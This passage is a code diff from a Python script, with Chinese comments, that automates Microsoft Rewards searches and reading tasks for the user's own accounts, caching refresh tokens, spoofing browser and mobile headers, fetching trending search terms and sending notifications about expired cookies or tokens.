+ account_info = f"账号{account_index} " if account_index else ""
+ title = "🚨 Microsoft Rewards Cookie失效"
+ content = (
+ f"{account_info}Cookie已失效,无法获取积分和邮箱,请重新获取\n\n"
+ f"失效时间: {cls.get_current_time()}\n"
+ f"需要处理: 重新获取{account_info}的完整Cookie\n\n"
+ f"Cookie获取地址:\n"
+ f"{cls.get_cookie_urls_text()}"
+ )
+ return title, content
+
+ @classmethod
+ def token_invalid(cls, account_index: Optional[int] = None) -> tuple[str, str]:
+ """Token失效的通知模板"""
+ account_info = f"账号{account_index} " if account_index else ""
+ title = "🚨 Microsoft Rewards Token失效"
+ content = (
+ f"{account_info}Refresh Token已失效,需要重新获取\n\n"
+ f"失效时间: {cls.get_current_time()}\n"
+ f"需要处理: 重新获取{account_info}的Refresh Token\n\n"
+ "获取方法:\n"
+ "1. 访问 https://login.live.com/oauth20_authorize.srf\n"
+ "2. 使用Microsoft账号登录\n"
+ "3. 获取授权码并换取Refresh Token"
+ )
+ return title, content
+
+ @classmethod
+ def task_summary(cls, summaries: List[str]) -> tuple[str, str]:
+ """任务完成总结的通知模板"""
+ title = "✅ Microsoft Rewards 任务完成"
+ content = "\n\n".join(summaries)
+ return title, content
+
+class NotificationManager:
+ """通知管理器"""
+
+ def __init__(self):
+ self.notify_client = self._init_notify_client()
+
+ def _init_notify_client(self):
+ """初始化通知客户端"""
+ try:
+ import notify
+ return notify
+ except ImportError:
+ return self._create_mock_notify()
+
+ def _create_mock_notify(self):
+ """创建模拟通知客户端"""
+ class MockNotify:
+ def send(self, title, content):
+ print("\n--- [通知] ---")
+ print(f"标题: {title}")
+ print(f"内容:\n{content}")
+ print("-------------------------------")
+ return MockNotify()
+
+ def send(self, title: str, content: str):
+ """发送通知"""
+ self.notify_client.send(title, content)
+
+ # 便捷的通知方法
+ def send_missing_cookies_config(self, account_index: int):
+ """发送缺少cookies配置的通知"""
+ title, content = NotificationTemplates.missing_cookies_config(account_index)
+ self.send(title, content)
+
+ def send_cookie_missing_required_field(self, account_index: int, field_name: str):
+ """发送Cookie缺少必需字段的通知"""
+ title, content = NotificationTemplates.cookie_missing_required_field(account_index, field_name)
+ self.send(title, content)
+
+ def send_cookie_missing_auth_field(self, account_index: int):
+ """发送Cookie缺少认证字段的通知"""
+ title, content = NotificationTemplates.cookie_missing_auth_field(account_index)
+ self.send(title, content)
+
+ def send_no_valid_accounts(self):
+ """发送无有效账号配置的通知"""
+ title, content = NotificationTemplates.no_valid_accounts()
+ self.send(title, content)
+
+ def send_cookie_invalid(self, account_index: Optional[int] = None):
+ """发送Cookie失效的通知"""
+ title, content = NotificationTemplates.cookie_invalid(account_index)
+ self.send(title, content)
+
+ def send_token_invalid(self, account_index: Optional[int] = None):
+ """发送Token失效的通知"""
+ title, content = NotificationTemplates.token_invalid(account_index)
+ self.send(title, content)
+
+ def send_task_summary(self, summaries: List[str]):
+ """发送任务完成总结的通知"""
+ title, content = NotificationTemplates.task_summary(summaries)
+ self.send(title, content)
+
+global_notification_manager = NotificationManager() # 全局通知管理器,用于账号验证阶段
+
+# ==================== 缓存管理 ====================
+class CacheManager:
+ """缓存管理器"""
+
+ def __init__(self, cache_file: str = config.CACHE_FILE):
+ self.cache_file = cache_file
+ self.lock = threading.Lock()
+
+ def load_cache(self) -> Dict[str, Any]:
+ """加载缓存数据(从统一缓存文件中提取推送相关数据和任务完成计数)"""
+ all_data = self._load_unified_cache()
+
+ # 过滤出推送相关的数据和任务完成计数
+ cache_data = {}
+ for key, value in all_data.items():
+ if key.startswith('push_') or key.startswith('tasks_complete_'):
+ cache_data[key] = value
+
+ return cache_data
+
+ def save_cache(self, data: Dict[str, Any]):
+ """保存缓存数据到统一缓存文件"""
+ try:
+ with self.lock:
+ # 读取现有的统一缓存数据
+ all_cache_data = self._load_unified_cache()
+
+ # 清理整个缓存文件中的过期推送记录
+ today = date.today().isoformat()
+ all_cache_data = self._clean_expired_data(all_cache_data, today)
+
+ # 更新传入的数据
+ for key, value in data.items():
+ all_cache_data[key] = value
+
+ # 保存到统一缓存文件
+ self._save_unified_cache(all_cache_data)
+
+ except Exception as e:
+ print_log("缓存错误", f"保存缓存失败: {e}")
+
+ def _load_unified_cache(self) -> Dict[str, Any]:
+ """加载统一缓存文件"""
+ return global_token_cache_manager._load_all_cache_data()
+
+ def _save_unified_cache(self, data: Dict[str, Any]):
+ """保存到统一缓存文件"""
+ global_token_cache_manager._save_all_cache_data(data)
+
+ def _clean_expired_data(self, data: Dict[str, Any], today: str) -> Dict[str, Any]:
+ """清理过期的缓存数据(只清理推送相关数据和任务完成计数)"""
+ keys_to_keep = []
+ for k in data:
+ # 如果是推送相关的键,检查日期
+ if k.startswith('push_'):
+ date_part = k.replace('push_', '')
+ # 只保留今天的推送记录,删除昨天及以前的
+ if date_part == today:
+ keys_to_keep.append(k)
+ # 如果是任务完成计数相关的键,检查日期
+ elif k.startswith('tasks_complete_'):
+ date_part = k.replace('tasks_complete_', '')
+ # 只保留今天的任务完成计数,删除昨天及以前的
+ if date_part == today:
+ keys_to_keep.append(k)
+ else:
+ # 非推送相关的键(如tokens等)全部保留
+ keys_to_keep.append(k)
+
+ return {k: data[k] for k in keys_to_keep}
+
+ def has_pushed_today(self) -> bool:
+ """检查今天是否已推送"""
+ today = date.today().isoformat()
+ data = self.load_cache()
+ return data.get(f"push_{today}", False)
+
+ def mark_pushed_today(self):
+ """标记今天已推送"""
+ today = date.today().isoformat()
+
+ # 读取现有的统一缓存数据
+ all_cache_data = self._load_unified_cache()
+
+ # 检查是否已经有今天的推送记录
+ if f"push_{today}" not in all_cache_data:
+ # 如果没有今天的记录,先清理所有过期的推送记录
+ all_cache_data = self._clean_expired_data(all_cache_data, today)
+ print_log("缓存清理", "已清理过期的推送记录")
+
+ # 添加今天的推送记录
+ all_cache_data[f"push_{today}"] = True
+
+ # 保存到统一缓存文件
+ self._save_unified_cache(all_cache_data)
+
+ def get_tasks_complete_count(self) -> int:
+ """获取今天任务完成的次数"""
+ today = date.today().isoformat()
+ data = self.load_cache()
+ return data.get(f"tasks_complete_{today}", 0)
+
+ def increment_tasks_complete_count(self):
+ """增加今天任务完成的次数"""
+ today = date.today().isoformat()
+
+ # 读取现有的统一缓存数据
+ all_cache_data = self._load_unified_cache()
+
+ # 检查是否已经有今天的任务完成计数记录
+ if f"tasks_complete_{today}" not in all_cache_data:
+ # 如果没有今天的记录,先清理所有过期的记录
+ all_cache_data = self._clean_expired_data(all_cache_data, today)
+ print_log("缓存清理", "已清理过期的任务完成计数记录")
+
+ # 增加任务完成计数
+ current_count = all_cache_data.get(f"tasks_complete_{today}", 0)
+ new_count = current_count + 1
+
+ # 限制最大计数为配置值
+ if new_count > TASK_CONFIG['MAX_REPEAT_COUNT']:
+ print_log("任务完成计数", f"计数已达到上限{TASK_CONFIG['MAX_REPEAT_COUNT']}次,不再增加", None)
+ return
+
+ all_cache_data[f"tasks_complete_{today}"] = new_count
+
+ # 保存到统一缓存文件
+ self._save_unified_cache(all_cache_data)
+
+ print_log("重复运行", f"{new_count}/{TASK_CONFIG['MAX_REPEAT_COUNT']}", None)
+
+ if new_count >= TASK_CONFIG['MAX_REPEAT_COUNT']:
+ print_log("重复运行", "已达上限", None)
+
+ def should_skip_execution(self) -> bool:
+ """检查是否应该跳过脚本执行(任务已完成指定次数)"""
+ return self.get_tasks_complete_count() >= TASK_CONFIG['MAX_REPEAT_COUNT']
+
+
+
+global_cache_manager = CacheManager() # 全局缓存管理器,用于推送状态检查
+
+# ==================== Refresh Token 缓存管理 ====================
+class TokenCacheManager:
+ """Refresh Token 缓存管理器"""
+
+ def __init__(self, token_file: str = config.CACHE_FILE):
+ self.token_file = token_file
+ self.lock = threading.Lock()
+ self._cached_tokens = {} # 内存缓存,避免重复保存
+
+ def _load_all_cache_data(self) -> Dict[str, Any]:
+ """加载统一缓存文件的所有数据"""
+ if not os.path.exists(self.token_file):
+ return {}
+
+ try:
+ with open(self.token_file, "r", encoding="utf-8") as f:
+ content = f.read().strip()
+ if not content: # 如果文件为空,返回空字典
+ return {}
+ return json.loads(content)
+ except json.JSONDecodeError as e:
+ print_log("缓存错误", f"JSON格式错误: {e},尝试修复文件")
+ # 尝试修复损坏的JSON文件
+ self._repair_json_file()
+ return {}
+ except Exception as e:
+ print_log("缓存错误", f"读取失败: {e}")
+ return {}
+
+ def _save_all_cache_data(self, data: Dict[str, Any]):
+ """保存数据到统一缓存文件"""
+ try:
+ # 使用线程安全的临时文件名(添加线程ID和随机数)
+ thread_id = threading.get_ident()
+ random_suffix = random.randint(1000, 9999)
+ temp_file = f"{self.token_file}.tmp.{thread_id}.{random_suffix}"
+
+ try:
+ # 原子性保存到文件(先写临时文件,再重命名)
+ with open(temp_file, "w", encoding="utf-8") as f:
+ json.dump(data, f, ensure_ascii=False, indent=2)
+
+ # 原子性重命名
+ import shutil
+ shutil.move(temp_file, self.token_file)
+
+ except Exception as file_error:
+ # 清理临时文件
+ try:
+ if os.path.exists(temp_file):
+ os.remove(temp_file)
+ except:
+ pass
+ raise file_error
+
+ except Exception as e:
+ print_log("缓存错误", f"保存失败: {e}")
+
+
+
+ def save_token(self, account_alias: str, refresh_token: str, account_index: Optional[int] = None):
+ """保存刷新令牌到统一缓存文件"""
+ try:
+ # 检查是否已经缓存过相同的令牌
+ cache_key = f"{account_alias}_{refresh_token}"
+ if cache_key in self._cached_tokens:
+ return # 已经缓存过,跳过
+
+ with self.lock:
+ # 确保目录存在
+ os.makedirs(os.path.dirname(self.token_file) if os.path.dirname(self.token_file) else '.', exist_ok=True)
+
+ # 读取现有缓存数据(包含推送状态等)
+ all_cache_data = self._load_all_cache_data()
+
+ # 获取或初始化tokens部分
+ if 'tokens' not in all_cache_data:
+ all_cache_data['tokens'] = {}
+
+ # 检查是否与现有令牌相同
+ existing_token = all_cache_data['tokens'].get(account_alias, {}).get("refreshToken")
+ if existing_token == refresh_token:
+ # 标记为已缓存,避免重复尝试
+ self._cached_tokens[cache_key] = True
+ return # 令牌没有变化,跳过
+
+ # 更新令牌
+ all_cache_data['tokens'][account_alias] = {
+ "refreshToken": refresh_token,
+ "updatedAt": datetime.now().isoformat()
+ }
+
+ # 保存到统一缓存文件
+ self._save_all_cache_data(all_cache_data)
+
+ # 标记为已缓存
+ self._cached_tokens[cache_key] = True
+
+ print_log("令牌缓存", "更新成功", account_index)
+
+ except Exception as e:
+ print_log("令牌缓存", f"更新失败: {e}", account_index)
+
+ def get_cached_token(self, account_alias: str, account_index: Optional[int] = None) -> Optional[str]:
+ """获取缓存的刷新令牌"""
+ try:
+ all_cache_data = self._load_all_cache_data()
+ tokens = all_cache_data.get('tokens', {})
+ account_data = tokens.get(account_alias)
+ if account_data and account_data.get("refreshToken"):
+ return account_data["refreshToken"]
+ return None
+ except Exception as e:
+ print_log("令牌缓存", f"读取失败: {e}", account_index)
+ return None
+
+ def _repair_json_file(self):
+ """尝试修复损坏的JSON文件"""
+ try:
+ # 备份损坏的文件
+ backup_file = self.token_file + f".backup_{int(time.time())}"
+ if os.path.exists(self.token_file):
+ import shutil
+ shutil.copy2(self.token_file, backup_file)
+ print_log("令牌缓存", f"已备份损坏文件到: {backup_file}")
+
+ # 创建新的空文件
+ with open(self.token_file, "w", encoding="utf-8") as f:
+ json.dump({}, f, ensure_ascii=False, indent=2)
+
+ print_log("令牌缓存", "已重新创建令牌缓存文件")
+ except Exception as e:
+ print_log("令牌缓存", f"修复文件失败: {e}")
+
+global_token_cache_manager = TokenCacheManager() # 全局令牌缓存管理器,用于账号验证阶段
+
+# ==================== 热搜词管理 ====================
+class HotWordsManager:
+ """热搜词管理器"""
+
+ def __init__(self):
+ self.hot_words = self._fetch_hot_words()
+
+ @retry_on_failure(max_retries=2, delay=1)
+ def _fetch_hot_words(self, max_count: int = config.HOT_WORDS_MAX_COUNT) -> List[str]:
+ """获取热搜词"""
+ apis_shuffled = config.HOT_WORDS_APIS[:]
+ random.shuffle(apis_shuffled)
+
+ for base_url, sources in apis_shuffled:
+ sources_shuffled = sources[:]
+ random.shuffle(sources_shuffled)
+
+ for source in sources_shuffled:
+ api_url = base_url + source
+ try:
+ resp = requests.get(api_url, timeout=10)
+ if resp.status_code == 200:
+ data = resp.json()
+ if isinstance(data, dict) and 'data' in data and data['data']:
+ all_titles = [item.get('title') for item in data['data'] if item.get('title')]
+ if all_titles:
+ print_log("热搜词", f"成功获取热搜词 {len(all_titles)} 条,来源: {api_url}")
+ random.shuffle(all_titles)
+ return all_titles[:max_count]
+ except Exception:
+ continue
+
+ print_log("热搜词", "全部热搜API失效,使用默认搜索词。")
+ default_words = config.DEFAULT_HOT_WORDS[:max_count]
+ random.shuffle(default_words)
+ return default_words
+
+ def get_random_word(self) -> str:
+ """获取随机热搜词"""
+ return random.choice(self.hot_words) if self.hot_words else random.choice(config.DEFAULT_HOT_WORDS)
+
+hot_words_manager = HotWordsManager()
+
+# ==================== HTTP请求管理 ====================
+class RequestManager:
+ """HTTP请求管理器 - 支持独立Session"""
+
+ def __init__(self):
+ """初始化请求管理器,创建独立的Session"""
+ self.session = requests.Session()
+
+ @staticmethod
+ def get_browser_headers(cookies: str) -> Dict[str, str]:
+ """获取浏览器请求头"""
+ return {
+ "user-agent": config.get_random_pc_ua(),
+ "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
+ "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
+ "accept-encoding": "gzip, deflate, br, zstd",
+ "sec-ch-ua": '"Not;A=Brand";v="99", "Microsoft Edge";v="139", "Chromium";v="139"',
+ "sec-ch-ua-mobile": "?0",
+ "sec-ch-ua-platform": '"Windows"',
+ "sec-fetch-site": "none",
+ "sec-fetch-mode": "navigate",
+ "sec-fetch-user": "?1",
+ "sec-fetch-dest": "document",
+ "upgrade-insecure-requests": "1",
+ "x-edge-shopping-flag": "1",
+ "referer": "https://rewards.bing.com/",
+ "cookie": cookies
+ }
+
+ @staticmethod
+ def get_mobile_headers(cookies: str) -> Dict[str, str]:
+ """获取移动端请求头"""
+ return {
+ "user-agent": config.get_random_mobile_ua(),
+ "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
+ "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
+ "accept-encoding": "gzip, deflate, br, zstd",
+ "sec-ch-ua": '"Not;A=Brand";v="99", "Chromium";v="124"',
+ "sec-ch-ua-mobile": "?1",
+ "sec-ch-ua-platform": '"Android"',
+ "sec-fetch-site": "none",
+ "sec-fetch-mode": "navigate",
+ "sec-fetch-user": "?1",
+ "sec-fetch-dest": "document",
+ "upgrade-insecure-requests": "1",
+ "cookie": cookies
+ }
+
+ @retry_on_failure(max_retries=2)
+ def make_request(self, method: str, url: str, headers: Dict[str, str],
+ params: Optional[Dict] = None, data: Optional[str] = None,
+ timeout: int = config.REQUEST_TIMEOUT, account_index: Optional[int] = None) -> requests.Response:
+ """统一的HTTP请求方法 - 使用独立Session"""
+ if method.upper() == 'GET':
+ return self.session.get(url, headers=headers, params=params, timeout=timeout)
+ elif method.upper() == 'POST':
+ # 判断是否为JSON数据
+ if headers.get('Content-Type') == 'application/json' and data:
+ return self.session.post(url, headers=headers, json=json.loads(data), timeout=timeout)
+ elif isinstance(data, dict):
+ # 表单数据
+ return self.session.post(url, headers=headers, data=data, timeout=timeout)
+ else:
+ # 字符串数据
+ return self.session.post(url, headers=headers, data=data, timeout=timeout)
+ else:
+ raise ValueError(f"不支持的HTTP方法: {method}")
+
+ def close(self):
+ """关闭Session"""
+ if hasattr(self, 'session'):
+ self.session.close()
+
+# ==================== 主要业务逻辑类 ====================
+class RewardsService:
+ """Microsoft Rewards服务类 - 增强版本支持令牌缓存和独立Session"""
+
+ # ==================== 1. 基础设施方法 ====================
+ def __init__(self):
+ """初始化服务,创建独立的请求管理器和通知管理器"""
+ self.request_manager = RequestManager()
+ self.notification_manager = NotificationManager() # 每个实例独立的通知管理器
+ # 为每个实例创建独立的缓存管理器,避免文件锁竞争
+ self.cache_manager = CacheManager()
+ self.token_cache_manager = TokenCacheManager()
+
+ def __del__(self):
+ """析构函数,确保Session被正确关闭"""
+ if hasattr(self, 'request_manager'):
+ self.request_manager.close()
+
+ # ==================== 2. 核心数据获取方法 ====================
+ @retry_on_failure()
+ def get_rewards_points(self, cookies: str, account_index: Optional[int] = None) -> Optional[Dict[str, Any]]:
+ """查询当前积分、账号信息和获取token"""
+ headers = self.request_manager.get_browser_headers(cookies)
+ # 添加PC端特有的头部
+ headers.update({
+ 'cache-control': 'max-age=0',
+ 'sec-ch-ua': '"Not;A=Brand";v="99", "Microsoft Edge";v="139", "Chromium";v="139"',
+ 'sec-ch-ua-mobile': '?0',
+ 'sec-ch-ua-full-version': '139.0.3405.86',
+ 'sec-ch-ua-arch': 'x86',
+ 'sec-ch-ua-platform': '"Windows"',
+ 'sec-ch-ua-platform-version': '19.0.0',
+ 'sec-ch-ua-model': '""',
+ 'sec-ch-ua-bitness': '64',
+ 'sec-ch-ua-full-version-list': '"Not;A=Brand";v="99.0.0.0", "Microsoft Edge";v="139.0.3405.86", "Chromium";v="139.0.7258.67"',
+ 'upgrade-insecure-requests': '1',
+ 'x-edge-shopping-flag': '1',
+ 'sec-ms-gec': 'F4AE7EBFE1C688D0967DE661CC98B823383760340F7B0B42D9FFA10D74621BEA',
+ 'sec-ms-gec-version': '1-139.0.3405.86',
+ 'x-client-data': 'eyIxIjoiMCIsIjIiOiIwIiwiMyI6IjAiLCI0IjoiLTExNzg4ODc1Mjc3OTM5NTI1MDUiLCI2Ijoic3RhYmxlIiwiOSI6ImRlc2t0b3AifQ==',
+ 'sec-fetch-site': 'same-origin',
+ 'sec-fetch-mode': 'navigate',
+ 'sec-fetch-user': '?1',
+ 'sec-fetch-dest': 'document',
+ 'referer': 'https://rewards.bing.com/welcome'
+ })
+
+ url = 'https://rewards.bing.com'
+
+ response = self.request_manager.make_request('GET', url, headers, account_index=account_index)
+ response.raise_for_status()
+
+ content = response.text
+
+ # 提取积分和邮箱
+ points_pattern = r'"availablePoints":(\d+)'
+ email_pattern = r'email:\s*"([^"]+)"'
+
+ points_match = re.search(points_pattern, content)
+ email_match = re.search(email_pattern, content)
+
+ available_points = int(points_match.group(1)) if points_match else None
+ email = email_match.group(1) if email_match else None
+
+ # 提取token
+ token_match = re.search(r'name="__RequestVerificationToken".*?value="([^"]+)"', content)
+ token = token_match.group(1) if token_match else None
+
+ if available_points is None or email is None:
+ print_log("账号信息", "Cookie可能已失效,无法获取积分和邮箱", account_index)
+ # 立即推送Cookie失效通知
+ self._send_cookie_invalid_notification(account_index)
+ return None
+
+ if token is None:
+ print_log("账号信息", "无法获取RequestVerificationToken", account_index)
+
+ return {
+ 'points': available_points,
+ 'email': email,
+ 'token': token
+ }
+
+ @retry_on_failure()
+ def get_dashboard_data(self, cookies: str, account_index: Optional[int] = None, silent: bool = False) -> Optional[Dict[str, Any]]:
+ """获取dashboard数据(从API接口)"""
+ try:
+ # 调用API获取dashboard数据
+ import time
+ timestamp = int(time.time() * 1000)
+ api_headers = self.request_manager.get_browser_headers(cookies)
+ api_headers.update({
+ 'sec-ch-ua-full-version-list': '"Not;A=Brand";v="99.0.0.0", "Microsoft Edge";v="139.0.3405.86", "Chromium";v="139.0.7258.67"',
+ 'sec-ch-ua-platform': '"Windows"',
+ 'sec-ch-ua': '"Not;A=Brand";v="99", "Microsoft Edge";v="139", "Chromium";v="139"',
+ 'sec-ch-ua-bitness': '64',
+ 'sec-ch-ua-model': '""',
+ 'sec-ch-ua-mobile': '?0',
+ 'sec-ch-ua-arch': 'x86',
+ 'correlation-context': 'v=1,ms.b.tel.market=zh-Hans',
+ 'sec-ch-ua-full-version': '139.0.3405.86',
+ 'accept': 'application/json, text/javascript, */*; q=0.01',
+ 'sec-ch-ua-platform-version': '19.0.0',
+ 'x-edge-shopping-flag': '1',
+ 'sec-ms-gec': 'F4AE7EBFE1C688D0967DE661CC98B823383760340F7B0B42D9FFA10D74621BEA',
+ 'sec-ms-gec-version': '1-139.0.3405.86',
+ 'x-client-data': 'eyIxIjoiMCIsIjIiOiIwIiwiMyI6IjAiLCI0IjoiLTExNzg4ODc1Mjc3OTM5NTI1MDUiLCI2Ijoic3RhYmxlIiwiOSI6ImRlc2t0b3AifQ==',
+ 'sec-fetch-site': 'same-origin',
+ 'sec-fetch-mode': 'cors',
+ 'sec-fetch-dest': 'empty',
+ 'referer': 'https://rewards.bing.com/',
+ 'X-Requested-With': 'XMLHttpRequest'
+ })
+
+ # api_url = f"https://rewards.bing.com/api/getuserinfo?type=1&X-Requested-With=XMLHttpRequest&_={timestamp}"
+ api_url = f"https://rewards.bing.com/api/getuserinfo"
+ api_resp = self.request_manager.make_request('GET', api_url, api_headers, timeout=30, account_index=account_index)
+ api_resp.raise_for_status()
+
+ dashboard_json = api_resp.json()
+
+ if not dashboard_json or 'dashboard' not in dashboard_json:
+ if not silent:
+ print_log('数据获取', "API返回的数据格式不正确", account_index)
+ return None
+
+ return dashboard_json
+ except Exception as e:
+ # 对于常见的服务器错误,使用静默模式减少日志噪音
+ if not silent:
+ error_msg = str(e)
+ # 简化常见错误信息
+ if "503" in error_msg:
+ print_log('数据获取', "服务器暂时不可用,稍后重试", account_index)
+ elif "500" in error_msg:
+ print_log('数据获取', "服务器内部错误", account_index)
+ elif "timeout" in error_msg.lower():
+ print_log('数据获取', "请求超时", account_index)
+ else:
+ print_log('数据获取', f"获取失败: {error_msg}", account_index)
+ return None
+
+ def get_account_level(self, dashboard_data: Dict[str, Any]) -> str:
+ """获取账号等级"""
+ if not dashboard_data:
+ return "Level1"
+ dashboard = dashboard_data.get('dashboard', {})
+ user_status = dashboard.get('userStatus', {})
+ level_info = user_status.get('levelInfo', {})
+ # 确保level_info不为None
+ if not level_info:
+ return "Level1"
+ return level_info.get('activeLevel', 'Level1')
+
+ # ==================== 3. 令牌相关方法 ====================
+ @retry_on_failure()
+ def get_access_token(self, refresh_token: str, account_alias: str = "", account_index: Optional[int] = None, silent: bool = False) -> Optional[str]:
+ """获取访问令牌用于阅读任务 - 支持令牌自动更新"""
+ try:
+ data = {
+ 'client_id': '0000000040170455',
+ 'refresh_token': refresh_token,
+ 'scope': 'service::prod.rewardsplatform.microsoft.com::MBI_SSL',
+ 'grant_type': 'refresh_token'
+ }
+
+ headers = {
+ 'Content-Type': 'application/x-www-form-urlencoded',
+ 'User-Agent': config.get_random_pc_ua(),
+ 'sec-ch-ua-platform': '"Windows"',
+ 'sec-ch-ua': '"Not;A=Brand";v="99", "Microsoft Edge";v="139", "Chromium";v="139"',
+ 'sec-ch-ua-mobile': '?0',
+ 'Accept': '*/*',
+ 'Origin': 'https://login.live.com',
+ 'X-Edge-Shopping-Flag': '1',
+ 'Sec-Fetch-Site': 'same-origin',
+ 'Sec-Fetch-Mode': 'cors',
+ 'Sec-Fetch-Dest': 'empty',
+ 'Referer': 'https://login.live.com/oauth20_desktop.srf',
+ 'Accept-Encoding': 'gzip, deflate, br, zstd',
+ 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6'
+ }
+
+ response = self.request_manager.make_request(
+ 'POST', 'https://login.live.com/oauth20_token.srf',
+ headers, data=data, account_index=account_index
+ )
+
+ if response.status_code == 200:
+ token_data = response.json()
+ if 'access_token' in token_data:
+ # print_log("令牌获取", "成功获取访问令牌", account_index)
+
+ # 检查是否有新的refresh_token返回并启用了缓存(非静默模式)
+ if (not silent and CACHE_ENABLED and 'refresh_token' in token_data and
+ token_data['refresh_token'] != refresh_token and account_alias):
+ # print_log("令牌更新", f"检测到新的刷新令牌,正在更新缓存", account_index)
+ # 保存新的refresh_token到缓存
+ self.token_cache_manager.save_token(account_alias, token_data['refresh_token'], account_index)
+
+ return token_data['access_token']
+
+ # 静默模式下不处理错误通知
+ if silent:
+ return None
+
+ # 检查是否为令牌失效错误
+ if response.status_code in [400, 401, 403]:
+ try:
+ error_data = response.json()
+ error_description = error_data.get('error_description', '').lower()
+ error_code = error_data.get('error', '').lower()
+
+ # 常见的令牌失效错误标识
+ token_invalid_indicators = [
+ 'invalid_grant', 'expired_token', 'refresh_token',
+ 'invalid_request', 'unauthorized', 'invalid refresh token'
+ ]
+
+ if any(indicator in error_description or indicator in error_code for indicator in token_invalid_indicators):
+ print_log("令牌获取", "刷新令牌已失效,尝试读取环境变量", account_index)
+
+ # 尝试从环境变量重新读取令牌
+ new_token = os.getenv(f"bing_token_{account_index}")
+ if new_token and new_token.strip() and new_token != refresh_token:
+ print_log("令牌获取", f"从环境变量获取到新令牌,重试", account_index)
+ # 使用新令牌重试
+ return self.get_access_token(new_token.strip(), account_alias, account_index, silent)
+ else:
+ print_log("令牌获取", "环境变量中无新令牌,发送失效通知", account_index)
+ self._send_token_invalid_notification(account_index)
+ return None
+ except:
+ pass
+
+ print_log("令牌获取", f"获取访问令牌失败,状态码: {response.status_code}", account_index)
+ return None
+
+ except Exception as e:
+ # 静默模式下不处理错误通知
+ if silent:
+ return None
+
+ # 检查异常是否包含令牌失效的信息
+ error_message = str(e).lower()
+ token_invalid_indicators = [
+ 'invalid_grant', 'expired_token', 'refresh_token',
+ 'unauthorized', '401', '403', 'invalid refresh token'
+ ]
+
+ if any(indicator in error_message for indicator in token_invalid_indicators):
+ print_log("令牌获取", "刷新令牌已失效(异常检测),尝试读取环境变量", account_index)
+
+ # 尝试从环境变量重新读取令牌
+ new_token = os.getenv(f"bing_token_{account_index}")
+ if new_token and new_token.strip() and new_token != refresh_token:
+ print_log("令牌获取", f"从环境变量获取到新令牌,重试", account_index)
+ # 使用新令牌重试
+ return self.get_access_token(new_token.strip(), account_alias, account_index, silent)
+ else:
+ print_log("令牌获取", "环境变量中无新令牌,发送失效通知", account_index)
+ self._send_token_invalid_notification(account_index)
+ else:
+ print_log("令牌获取", f"获取访问令牌异常: {e}", account_index)
+ return None
+
+ @retry_on_failure()
+ def get_read_progress(self, access_token: str, account_index: Optional[int] = None) -> Dict[str, int]:
+ """获取阅读任务进度"""
+ try:
+ headers = {
+ 'Authorization': f'Bearer {access_token}',
+ 'User-Agent': config.get_random_mobile_ua(),
+ 'Accept-Encoding': 'gzip',
+ 'x-rewards-partnerid': 'startapp',
+ 'x-rewards-appid': 'SAAndroid/32.2.430730002',
+ 'x-rewards-country': 'cn',
+ 'x-rewards-language': 'zh-hans',
+ 'x-rewards-flights': 'rwgobig'
+ }
+
+ response = self.request_manager.make_request(
+ 'GET',
+ 'https://prod.rewardsplatform.microsoft.com/dapi/me?channel=SAAndroid&options=613',
+ headers, account_index=account_index
+ )
+
+ if response.status_code == 200:
+ data = response.json()
+ if 'response' in data and 'promotions' in data['response']:
+ for promotion in data['response']['promotions']:
+ if (promotion.get('attributes', {}).get('offerid') ==
+ 'ENUS_readarticle3_30points'):
+ # 获取max和progress值
+ max_value = promotion['attributes'].get('max')
+ progress_value = promotion['attributes'].get('progress')
+
+ # 检查值是否有效
+ if max_value is not None and progress_value is not None:
+ try:
+ return {
+ 'max': int(max_value),
+ 'progress': int(progress_value)
+ }
+ except (ValueError, TypeError):
+ # 如果转换失败,继续查找其他任务或抛出异常
+ print_log("阅读进度", f"数据格式错误: max={max_value}, progress={progress_value}", account_index)
+ continue
+ else:
+ # 如果值为空,记录日志并继续查找
+ print_log("阅读进度", f"数据为空: max={max_value}, progress={progress_value}", account_index)
+ continue
+
+ # 如果没有找到有效的阅读任务数据,抛出异常让重试机制处理
+ print_log("阅读进度", "未找到有效的阅读任务数据,将重试", account_index)
+ raise ValueError("未找到有效的阅读任务数据")
+ else:
+ # 如果响应结构不正确,抛出异常
+ print_log("阅读进度", "API响应结构不正确,将重试", account_index)
+ raise ValueError("API响应结构不正确")
+
+ # 如果状态码不是200,抛出异常让重试机制处理
+ print_log("阅读进度", f"获取阅读进度失败,状态码: {response.status_code}", account_index)
+ raise Exception(f"HTTP状态码错误: {response.status_code}")
+
+ except Exception as e:
+ # 重新抛出异常,让重试装饰器处理
+ print_log("阅读进度", f"获取阅读进度异常: {e}", account_index)
+ raise
+
+ # ==================== 4. 搜索任务相关方法 ====================
+ def is_pc_search_complete(self, dashboard_data: Dict[str, Any]) -> bool:
+ """检查电脑搜索是否完成"""
+ if not dashboard_data:
+ return False
+ dashboard = dashboard_data.get('dashboard', {})
+ user_status = dashboard.get('userStatus', {})
+ counters = user_status.get('counters', {})
+ pc_search_tasks = counters.get('pcSearch', [])
+
+ # 如果没有任务数据,认为未完成
+ if not pc_search_tasks:
+ return False
+
+ for task in pc_search_tasks:
+ # 明确检查complete字段,默认为False(未完成)
+ if not task.get('complete', False):
+ return False
+ return True
+
+ def is_mobile_search_complete(self, dashboard_data: Dict[str, Any]) -> bool:
+ """检查移动搜索是否完成"""
+ if not dashboard_data:
+ return False
+ dashboard = dashboard_data.get('dashboard', {})
+ user_status = dashboard.get('userStatus', {})
+ counters = user_status.get('counters', {})
+ mobile_search_tasks = counters.get('mobileSearch', [])
+
+ # 如果没有任务数据,认为未完成
+ if not mobile_search_tasks:
+ return False
+
+ for task in mobile_search_tasks:
+ # 明确检查complete字段,默认为False(未完成)
+ if not task.get('complete', False):
+ return False
+ return True
+
+ def _enhance_mobile_cookies(self, cookies: str) -> str:
+ """增强移动端cookies"""
+ enhanced_cookies = cookies
+
+ # 移除桌面端特有字段
+ desktop_fields_to_remove = [
+ r'_HPVN=[^;]+', r'_RwBf=[^;]+', r'USRLOC=[^;]+',
